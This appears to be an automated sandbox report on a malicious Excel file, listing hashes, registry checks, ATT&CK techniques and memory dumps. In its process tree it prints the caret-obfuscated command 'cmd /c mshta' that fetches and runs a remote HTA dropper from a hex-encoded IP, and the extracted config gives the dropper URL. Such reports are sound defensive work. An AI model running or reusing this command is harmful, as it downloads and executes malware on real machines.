36af992ab016a84758ce4fafe17e0d2d0da4bf545d684398cb25ba986a57c309

General

Target

36af992ab016a84758ce4fafe17e0d2d0da4bf545d684398cb25ba986a57c309.xls
Size

71KB
MD5

4656b408481f07213f982e8dd11c457f
SHA1

c5ceb427a39a39c2741131c3f872fb0265aaf6f0
SHA256

36af992ab016a84758ce4fafe17e0d2d0da4bf545d684398cb25ba986a57c309
SHA512

f960fcdd27dab8a3f86a26211f6ba823075993edbc4e9c5600a8731381612cbd1e1dd422faebb34819599b67f87805beed0c70d400c5d4d1f25c4add41532fab
SSDEEP

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4048	4988	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	2300	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4988	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4988	EXCEL.EXE
4988	EXCEL.EXE
4988	EXCEL.EXE
4988	EXCEL.EXE
4988	EXCEL.EXE
4988	EXCEL.EXE
4988	EXCEL.EXE
4988	EXCEL.EXE
4988	EXCEL.EXE
4988	EXCEL.EXE
4988	EXCEL.EXE
4988	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4988 wrote to memory of 4048	4988	EXCEL.EXE	84
PID 4988 wrote to memory of 4048	4988	EXCEL.EXE	84
PID 4048 wrote to memory of 2300	4048	cmd.exe	87
PID 4048 wrote to memory of 2300	4048	cmd.exe	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\36af992ab016a84758ce4fafe17e0d2d0da4bf545d684398cb25ba986a57c309.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:2300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
954f606462796ce1f9e4afc371e5efc9

SHA1
db61cb681a3f9eaf42d78df230b84a47e1829167

SHA256
b87b9be8b2a33923b0a81573f88ec5341671b23b7764fe8f0884abe592c12ee8

SHA512
6f6878c255fc64800fad7d9cc4784fe6baf1da84da1a475ac010704608acff1980d0a196bbc4e5a29a376d730cd935726c7fe18943e12630966c920d1f6516e6

Download Submit
memory/4988-14-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-1-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/4988-7-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-4-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/4988-5-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/4988-10-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-8-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-11-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-12-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-13-0x00007FF8C4290000-0x00007FF8C42A0000-memory.dmp

Filesize
64KB

Download
memory/4988-2-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/4988-3-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/4988-9-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-15-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-6-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-16-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-19-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-18-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-17-0x00007FF8C4290000-0x00007FF8C42A0000-memory.dmp

Filesize
64KB

Download
memory/4988-32-0x00007FF9067AD000-0x00007FF9067AE000-memory.dmp

Filesize
4KB

Download
memory/4988-33-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-34-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/4988-0-0x00007FF9067AD000-0x00007FF9067AE000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads